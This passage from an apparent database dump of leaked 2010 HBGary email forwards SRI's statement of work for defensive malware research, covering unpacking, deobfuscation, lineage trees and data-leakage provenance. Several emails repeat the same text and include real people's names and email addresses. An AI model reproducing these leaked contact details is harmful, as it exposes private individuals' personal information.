stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware\r\ntransformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We\r\nwill then automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for informed\r\nreconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be\r\nconstructed, organizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2589,'aaron_hbgary_com/2589.html'),(3642,'2010-03-06','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001842.M247445P3547Q3642.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Details from SRI - tech area #1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHas the new language of the proposal\r\nin it.&nbsp; Genome = Full code extraction. Chromosome=Function Signatures\r\n\r\n&nbsp;\r\n\r\nTask #?&nbsp; SRI research novel\r\ntechniques in function abstraction for use in cyber genetic sequencing.&nbsp;\r\nThe goal of this research is to abstract functions within software code to\r\nproduce abstract cyber chromosomes that are independent of mutations caused by\r\nspecific compiler methods and optimization.&nbsp; The long term goal of this\r\nresearch is to examine if abstraction during cyber genome sequencing is more advantageous\r\nthan compensating for mutations caused by compiler specific methods and\r\noptimizations after sequencing.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Saturday, March 06, 2010 3:50 PM\r\nTo: Aaron Barr; Upchurch, Jason R.\r\nSubject: FW: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 4:53 PM\r\nTo: \'Phil Porras\'; Vinod Yegneswaran; Hassen Saidi; \'Aaron Barr\'; Adam\r\nFraser; cody.bunkin@pikewerks.com\r\nCc: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold\r\nSubject: FW: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Friday, March 05, 2010 1:59 PM\r\nTo: Starr, Christopher H.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; \'Hassen Saidi\'; Vela, Ryan; porras@csl.sri.com\r\nSubject: RE: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 11:17 AM\r\nTo: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; Hassen Saidi\r\nSubject: FW: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\nYear 1 (months 0- 6) prototype malware collection system\r\n\r\nYear 1 (months 6-12) refine development, delivery of system and\r\ncollected malware\r\n\r\nYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\nYear 2 &#8211;EOP (Months 3, 6, 9, 12) Maintenance and report of\r\nmaintenance in period.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYear 1 research methods for unpacking/deobfusction, delivery of\r\nresearch paper at end of period.\r\n\r\nYear 1, concept prototype \r\n\r\nYear 2 &#8211; 3, refine de-obfuscation research and develop a\r\nprototype to cover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable\r\nreconstruction from disk based malware or malware memory extractions.&nbsp; The\r\ngoal of the research is to return code extracted from memory or code that has\r\nbeen obfuscated into an un-obscured executable file.&nbsp; This work includes\r\nbut is not limited to, extracting executables from process or full memory\r\ndumps, de-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, paper and concept prototype as deliverable\r\n\r\nYear 2, refinement of research, paper and prototype deliverable\r\n\r\nYear 3 &#8211; EOP Path exploration , year 3 paper and concept\r\nprototype, year 4 paper and prototype\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\nYear 1 research viability, paper as deliverable\r\n\r\nYear 2, IDA or other tool plug-in prototype\r\n\r\nYear 3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve\r\nunderstanding of software evolution. The goal of this research is to enable the\r\ninformed and automated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\nYear 1, study existing\r\nalgorithms for viability in this information space, deliver paper\r\n\r\nYear 2, deliver prototype POC\r\n\r\n\r\nYear 3, refinement and prototype.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of\r\nerror-correcting codes, infinite sites evolution, and Markov models of mutation\r\nto automatically deobfuscate code independent of what obfuscation techniques\r\nwere applied to the code.\r\n\r\n&nbsp;\r\n\r\nYear 1, evaluate viability of algorithms used in computational\r\nbiology for use in this information space, deliver paper\r\n\r\nYear 2, develop concept prototype system\r\n\r\nYear 3, develop prototype system\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, providence prototype on Linux system, deliver concept\r\nprototype\r\n\r\nYear 2, providence analysis migration to MS systems, deliver\r\nconcept prototype\r\n\r\nYear 3, integrate providence analysis and UCB taint analysis,\r\ndeliver concept prototype\r\n\r\nYear 4, Integrate multipath exploration research into providence\r\nand taint research, deliver concept prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka framework\r\nto enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new unpacking\r\ntechnology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware transformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We will\r\nthen automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be constructed,\r\norganizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8036,'aaron_hbgary_com/8036.html'),(3643,'2010-03-06','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001842.M799714P3547Q3643.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Details from SRI - tech area #1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJason, thanks.&nbsp; Do you want to\r\nmake this Task #1 for SRI/TA#1 and move everything down?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Saturday, March 06, 2010 6:13 PM\r\nTo: Starr, Christopher H.; \'Aaron Barr\'\r\nSubject: RE: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHas the new language of the\r\nproposal in it.&nbsp; Genome = Full code extraction. Chromosome=Function\r\nSignatures\r\n\r\n&nbsp;\r\n\r\nTask #?&nbsp; SRI research novel\r\ntechniques in function abstraction for use in cyber genetic sequencing.&nbsp;\r\nThe goal of this research is to abstract functions within software code to\r\nproduce abstract cyber chromosomes that are independent of mutations caused by\r\nspecific compiler methods and optimization.&nbsp; The long term goal of this\r\nresearch is to examine if abstraction during cyber genome sequencing is more\r\nadvantageous than compensating for mutations caused by compiler specific\r\nmethods and optimizations after sequencing.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Saturday, March 06, 2010 3:50 PM\r\nTo: Aaron Barr; Upchurch, Jason R.\r\nSubject: FW: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 4:53 PM\r\nTo: \'Phil Porras\'; Vinod Yegneswaran; Hassen Saidi; \'Aaron Barr\'; Adam\r\nFraser; cody.bunkin@pikewerks.com\r\nCc: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold\r\nSubject: FW: Details from SRI - tech area #1\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Friday, March 05, 2010 1:59 PM\r\nTo: Starr, Christopher H.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; \'Hassen Saidi\'; Vela, Ryan; porras@csl.sri.com\r\nSubject: RE: Details from 